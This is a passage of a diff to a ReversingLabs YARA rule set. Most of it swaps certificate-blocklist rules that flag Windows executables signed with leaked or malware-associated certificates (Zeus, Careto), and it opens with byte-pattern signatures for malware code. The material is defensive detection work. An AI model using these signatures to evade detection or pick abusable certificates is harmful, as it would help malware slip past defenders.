?? 85 C0 74 ?? 8B 4E ?? 57 6A ?? 6A + ?? 8D 56 ?? 52 53 51 CC C3 + } + $find_first_file_snippet_5 = { + 56 8B F1 32 C9 57 C7 46 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 8B 38 E8 ?? ?? ?? ?? 8B D0 85 D2 74 ?? 33 C0 B9 ?? ?? ?? ?? 83 FF ?? 0F 4C C8 51 50 + 50 8D 46 ?? 50 33 C0 83 FF ?? 0F 9D C0 50 FF 76 ?? FF D2 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GIE-MUTUALISTE" and pe.signatures [ i ] . serial == "63:14:00:1c:32:35:cd:59:bc:c3:f5:27:8c:51:88:04" and 1600304400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( any of ( $resolve_api_wrapper_* ) and any of ( $find_first_file_snippet_* ) ) } -rule REVERSINGLABS_Cert_Blocklist_0Ed8Ade5D73B73Dade6943D557Ff87E5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_05E2E6A4Cd09Ea54D665B075Fe22A256 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "dbfae40c-2f81-5daf-8655-d06ae38ffa8f" + id = "824c6b2f-081a-5f38-b949-d802f59e6ced" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5920-L5936" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L27-L43" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7796b6e7da900be8634e7f1e51cda1275ab1e7c2709af7ecaa8777ab0b518494" + logic_hash = "43da21d9c7ae9bfcc7fe4ee69f9d46cbce1954785d56c1d424b36deb8afe592e" score = 75 quality = 90 tags = "INFO, FILE" @@ -15365,21 +37759,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Ed8Ade5D73B73Dade6943D557Ff87E5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rumikon LLC" and pe.signatures [ i ] . serial == "0e:d8:ad:e5:d7:3b:73:da:de:69:43:d5:57:ff:87:e5" and 1597885200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "*.google.com" and pe.signatures [ i ] . serial == "05:e2:e6:a4:cd:09:ea:54:d6:65:b0:75:fe:22:a2:56" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0292C7D574132Ba5C0441D1C7Ffcb805 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_77019A082385E4B73F569569C9F87Bb8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ef58cf01-9c54-5dbb-99a7-d3ca42663133" + id = "4046a31b-d7c8-5c63-b5b2-2179b0817b03" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5938-L5954" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L45-L61" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d2bcf72f4c5829d161bc40e820eb0b1a85deaa49b749422d5429e27b7fb2b1fe" + logic_hash = "8613986005bdd30d92e633fa2058be5c43f1c530b9dc6d80ec953f12f6d66ce7" score = 75 quality = 90 tags = "INFO, FILE" @@ -15389,21 +37783,21 @@ rule REVERSINGLABS_Cert_Blocklist_0292C7D574132Ba5C0441D1C7Ffcb805 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TES LOGISTIKA d.o.o." and pe.signatures [ i ] . serial == "02:92:c7:d5:74:13:2b:a5:c0:44:1d:1c:7f:fc:b8:05" and 1602183720 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AND LLC" and pe.signatures [ i ] . serial == "77:01:9a:08:23:85:e4:b7:3f:56:95:69:c9:f8:7b:b8" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1F23F001458716D435Cca1A55D660Ec5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4F2Ef29Ca5F96E5777B82C62F34Fd3A6 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "16614e20-1cf1-55c0-a04c-d99c06fb29a2" + id = "6cfb6ae0-8eba-503b-8bb7-ac72746d9aa2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5956-L5972" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L63-L79" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bacfb4b7900ab57d23474e0422bd74fff113296b8db37e8eae3bd456443d28d6" + logic_hash = "e8f27c4a72f416a16acabb1de606fdde7dc694256809fdb952a25313dda0d34e" score = 75 quality = 90 tags = "INFO, FILE" @@ -15413,21 +37807,21 @@ rule REVERSINGLABS_Cert_Blocklist_1F23F001458716D435Cca1A55D660Ec5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Ringen" and pe.signatures [ i ] . serial == "1f:23:f0:01:45:87:16:d4:35:cc:a1:a5:5d:66:0e:c5" and 1603176940 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bit9, Inc" and pe.signatures [ i ] . serial == "4f:2e:f2:9c:a5:f9:6e:57:77:b8:2c:62:f3:4f:d3:a6" and 1342051200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6E0Ccbdfb4777E10Ea6221B90Dc350C2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Cc1Db2Ad0A290A4Bfe7A5F336D6800C : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "64007bd7-b273-5579-8224-68337f1bc54d" + id = "89bc7c99-dea2-50ce-a0d2-4292c14d049e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5974-L5990" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L81-L97" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "08a1ff7cc3a7680fdbb3235a7b46709cd4ba530a9afeab4344671db9fe893cc4" + logic_hash = "c9f91edb525a02041bc20dff25ec58323f8fabd4d2a2eca63238ecb10ccef2a6" score = 75 quality = 90 tags = "INFO, FILE" @@ -15437,21 +37831,21 @@ rule REVERSINGLABS_Cert_Blocklist_6E0Ccbdfb4777E10Ea6221B90Dc350C2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRAUMALAB INTERNATIONAL APS" and pe.signatures [ i ] . serial == "6e:0c:cb:df:b4:77:7e:10:ea:62:21:b9:0d:c3:50:c2" and 1603046620 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bit9, Inc" and pe.signatures [ i ] . serial == "7c:c1:db:2a:d0:a2:90:a4:bf:e7:a5:f3:36:d6:80:0c" and 1342051200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Ed1847A2Ae5D71Def1E833Fddd33D38 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_13C8351Aece71C731158980F575F4133 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "11fd3bbe-5d15-57b7-a461-fc9c90046dbc" + id = "b6a1eb97-f0da-571e-951c-57f49cf62057" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5992-L6008" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L99-L115" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0ec5eb8ff1f630284fabfba5c58dd563d471343ace718f79dad08cfe75c3070d" + logic_hash = "f96723845adc8030b72c119311103d5c2cf136e79de226d31141d8b925ce8e75" score = 75 quality = 90 tags = "INFO, FILE" @@ -15461,21 +37855,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Ed1847A2Ae5D71Def1E833Fddd33D38 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SNAB-RESURS, OOO" and pe.signatures [ i ] . serial == "0e:d1:84:7a:2a:e5:d7:1d:ef:1e:83:3f:dd:d3:3d:38" and 1598662800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Opera Software ASA" and pe.signatures [ i ] . serial == "13:c8:35:1a:ec:e7:1c:73:11:58:98:0f:57:5f:41:33" and 1371513600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_97Df46Acb26B7C81A13Cc467B47688C8 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4531954F6265304055F66Ce4F624F95B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "68e2fdc7-61cd-5e0a-8bc7-5e0ca96271c5" + id = "da1aaa4c-ac71-5c4c-b663-3d1b57d69040" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6010-L6028" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L117-L133" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6f6e0e175caee83eaec2dacedaf564b642195a8815cfd0d4564f581070b0c545" + logic_hash = "58d3a2a5e3f6730f329bddb171ad6332794fa95848825b892c3b8324f503ae89" score = 75 quality = 90 tags = "INFO, FILE" @@ -15485,21 +37879,21 @@ rule REVERSINGLABS_Cert_Blocklist_97Df46Acb26B7C81A13Cc467B47688C8 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Information Civilized System Oy" and ( pe.signatures [ i ] . serial == "00:97:df:46:ac:b2:6b:7c:81:a1:3c:c4:67:b4:76:88:c8" or pe.signatures [ i ] . serial == "97:df:46:ac:b2:6b:7c:81:a1:3c:c4:67:b4:76:88:c8" ) and 1602636910 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IDAutomation.com" and pe.signatures [ i ] . serial == "45:31:95:4f:62:65:30:40:55:f6:6c:e4:f6:24:f9:5b" and 1384819199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_186D49Fac34Ce99775B8E7Ffbf50679D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0E808F231515Bc519Eea1A73Cdf3266F : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing Careto malware." author = "ReversingLabs" - id = "9279d4ee-3f53-5d68-aaa1-af6ed579310f" + id = "1f1eb5c2-bfef-58df-b51e-c558d87cd5d2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6030-L6046" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L135-L151" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0444a5052ee384451ebd85918bbc6bf6d6a75334899a63a8b5828ef06cb9c7ca" + logic_hash = "05e466e304ed7a8f5c1c93aac4a4b7019d6fb1e07aeb45d078b657f838d1f3bd" score = 75 quality = 90 tags = "INFO, FILE" @@ -15509,21 +37903,21 @@ rule REVERSINGLABS_Cert_Blocklist_186D49Fac34Ce99775B8E7Ffbf50679D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Hairis LLC" and pe.signatures [ i ] . serial == "18:6d:49:fa:c3:4c:e9:97:75:b8:e7:ff:bf:50:67:9d" and 1602234590 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TecSystem Ltd." and pe.signatures [ i ] . serial == "0e:80:8f:23:15:15:bc:51:9e:ea:1a:73:cd:f3:26:6f" and 1468799999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B1Aea98Bf0Ce789B6C952310F14Edde0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_36Be4Ad457F062Fa77D87595B8Ccc8Cf : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing Careto malware." author = "ReversingLabs" - id = "f039f379-e3d5-56bd-83b7-016881538017" + id = "224ec8ed-e4f0-5d1b-8cdd-a669a7e3e859" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6048-L6066" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L153-L169" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6e78750d6aca91e9e6d8f2651a5682ccdab5cd20ee3a74e1f8582eb7bc45d614" + logic_hash = "d19a6f22a1e702a4da69c867195722adf8f1dd84539f2c584af428fe4b1caf79" score = 75 quality = 90 tags = "INFO, FILE" @@ -15533,21 +37927,21 @@ rule REVERSINGLABS_Cert_Blocklist_B1Aea98Bf0Ce789B6C952310F14Edde0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Absolut LLC" and ( pe.signatures [ i ] . serial == "00:b1:ae:a9:8b:f0:ce:78:9b:6c:95:23:10:f1:4e:dd:e0" or pe.signatures [ i ] . serial == "b1:ae:a9:8b:f0:ce:78:9b:6c:95:23:10:f1:4e:dd:e0" ) and 1602612570 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TecSystem Ltd." and pe.signatures [ i ] . serial == "36:be:4a:d4:57:f0:62:fa:77:d8:75:95:b8:cc:c8:cf" and 1372377599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2Dcd0699Da08915Dde6D044Cb474157C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_75A38507Bf403B152125B8F5Ce1B97Ad : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing Zeus malware." author = "ReversingLabs" - id = "e1f56719-e726-5f81-99d4-937e343cbcc9" + id = "6805abd8-217e-5179-ab5a-297e2a17e65e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6068-L6084" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L171-L187" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e1a3f27b8b9b642fe1ca73ec54d225f4470b53d0d06f2eea55ad1ad43ec67b39" + logic_hash = "af21cee3ee92268c3aa0106a245e5a00c5ba892fca3e4fd2dc55e302ed5d470a" score = 75 quality = 90 tags = "INFO, FILE" @@ -15557,21 +37951,21 @@ rule REVERSINGLABS_Cert_Blocklist_2Dcd0699Da08915Dde6D044Cb474157C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VENTE DE TOUT" and pe.signatures [ i ] . serial == "2d:cd:06:99:da:08:91:5d:de:6d:04:4c:b4:74:15:7c" and 1601830010 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "isonet ag" and pe.signatures [ i ] . serial == "75:a3:85:07:bf:40:3b:15:21:25:b8:f5:ce:1b:97:ad" and 1395359999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4B03Cabe6A0481F17A2Dbeb9Aefad425 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4Effa8B216E24B16202940C1Bc2Fa8A5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "30108ce3-b133-5e1d-924f-7caaf390e836" + id = "541a169e-a263-5901-9d8e-768306b8b8ba" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6086-L6102" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L189-L205" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6986e7bd90842647ec6a168c30dca2d5ae8ae5b1c1014f966dd596a78859ac6e" + logic_hash = "b5282fc85bbbee50c5307fff923e9e477fed8c011288e2ebd61c4b3ee801bc62" score = 75 quality = 90 tags = "INFO, FILE" @@ -15581,21 +37975,21 @@ rule REVERSINGLABS_Cert_Blocklist_4B03Cabe6A0481F17A2Dbeb9Aefad425 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RASSVET, OOO" and pe.signatures [ i ] . serial == "4b:03:ca:be:6a:04:81:f1:7a:2d:be:b9:ae:fa:d4:25" and 1603230930 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Henan Maijiamai Technology Co., Ltd." and pe.signatures [ i ] . serial == "4e:ff:a8:b2:16:e2:4b:16:20:29:40:c1:bc:2f:a8:a5" and 1404691199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_64Cd303Fa289790Afa03C403E9240002 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_57D7153A89Bbf4729Be87F3C927043Aa : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "86644ef8-4218-5a04-9655-c7d51729872d" + id = "9b778a20-8a0c-5c9f-8cc3-9e5054713e13" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6104-L6120" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L207-L223" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f51556a8a12affbd7f7633bf8daa50e6332fa3d3448ea08853cf8ed28e593680" + logic_hash = "a8de7951bd25c8a9346ef341d8bf9c9147f9fa6913e952be40fb43d3d7a370c1" score = 75 quality = 90 tags = "INFO, FILE" @@ -15605,21 +37999,21 @@ rule REVERSINGLABS_Cert_Blocklist_64Cd303Fa289790Afa03C403E9240002 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MAITLAND TRIFECTA, INC." and pe.signatures [ i ] . serial == "64:cd:30:3f:a2:89:79:0a:fa:03:c4:03:e9:24:00:02" and 1602723600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, zhenganjun" and pe.signatures [ i ] . serial == "57:d7:15:3a:89:bb:f4:72:9b:e8:7f:3c:92:70:43:aa" and 1469059200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_07Cef66A71C35Bc3Aed6D100C6493863 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_028E1Deccf93D38Ecf396118Dfe908B4 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9c16c370-a382-54f7-ba2e-3b738740966f" + id = "6dfb0181-299f-5a28-b647-137d75f747a6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6122-L6138" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L225-L241" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e741fc13fe4d03b145ed1d86e738b415a7260eae5b0908c6991c9ea9896f14cf" + logic_hash = "b07c797652ef19c7e0b23c3eddbbbf2700160d743d71a0005b950160474638d8" score = 75 quality = 90 tags = "INFO, FILE" @@ -15629,21 +38023,21 @@ rule REVERSINGLABS_Cert_Blocklist_07Cef66A71C35Bc3Aed6D100C6493863 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fubon Technologies Ltd" and pe.signatures [ i ] . serial == "07:ce:f6:6a:71:c3:5b:c3:ae:d6:d1:00:c6:49:38:63" and 1602740890 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fortuna Games Co., Ltd." and pe.signatures [ i ] . serial == "02:8e:1d:ec:cf:93:d3:8e:cf:39:61:18:df:e9:08:b4" and 1392163199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Be77Fe5C58B7A360Add6A3Fced4E8334 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_40575Df73Eaa1B6140C7Ef62C08Bf216 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1bbaebe9-b3ca-5ee2-91ac-b2343ca8bb86" + id = "6a6e6320-8e01-5ec7-8119-3e90f1eacc4e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6140-L6158" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L243-L259" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cea0d217206562c0045843405802d3b2fad01bdb2a4cfb52057625b43f5f8eee" + logic_hash = "7da8e98f38413e5cbb18e3c7771c530afb766dd9fbeb8fdd2264617aff24f920" score = 75 quality = 90 tags = "INFO, FILE" @@ -15653,21 +38047,21 @@ rule REVERSINGLABS_Cert_Blocklist_Be77Fe5C58B7A360Add6A3Fced4E8334 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Incar LLC" and ( pe.signatures [ i ] . serial == "00:be:77:fe:5c:58:b7:a3:60:ad:d6:a3:fc:ed:4e:83:34" or pe.signatures [ i ] . serial == "be:77:fe:5c:58:b7:a3:60:ad:d6:a3:fc:ed:4e:83:34" ) and 1602530730 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dali Feifang Tech Co.,LTD." and pe.signatures [ i ] . serial == "40:57:5d:f7:3e:aa:1b:61:40:c7:ef:62:c0:8b:f2:16" and 1394063999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_F097E59809Ae2E771B7B9Ae5Fc3408D7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_049Ce8C47F1F0E650Cb086F0Cfa7Ca53 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1eed6f30-0648-5b8e-81ff-9f3af0f1c91d" + id = "aebba591-2024-584a-bba6-9a27049cf4b8" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6160-L6178" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L261-L277" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9e23ff26d3e1ea181e48fc23383e3717804858bc517a31ec508fa0753730c78e" + logic_hash = "9ae4a236e1252afc1db6fae4e388a53ebde7e724cc07c213d4bfc176cf0a0096" score = 75 quality = 90 tags = "INFO, FILE" @@ -15677,21 +38071,21 @@ rule REVERSINGLABS_Cert_Blocklist_F097E59809Ae2E771B7B9Ae5Fc3408D7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ABEL RENOVATIONS, INC." and ( pe.signatures [ i ] . serial == "00:f0:97:e5:98:09:ae:2e:77:1b:7b:9a:e5:fc:34:08:d7" or pe.signatures [ i ] . serial == "f0:97:e5:98:09:ae:2e:77:1b:7b:9a:e5:fc:34:08:d7" ) and 1602542033 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Select'Assistance Pro" and pe.signatures [ i ] . serial == "04:9c:e8:c4:7f:1f:0e:65:0c:b0:86:f0:cf:a7:ca:53" and 1393804799 <= pe.signatures [ i ] . not_after ) } -rule 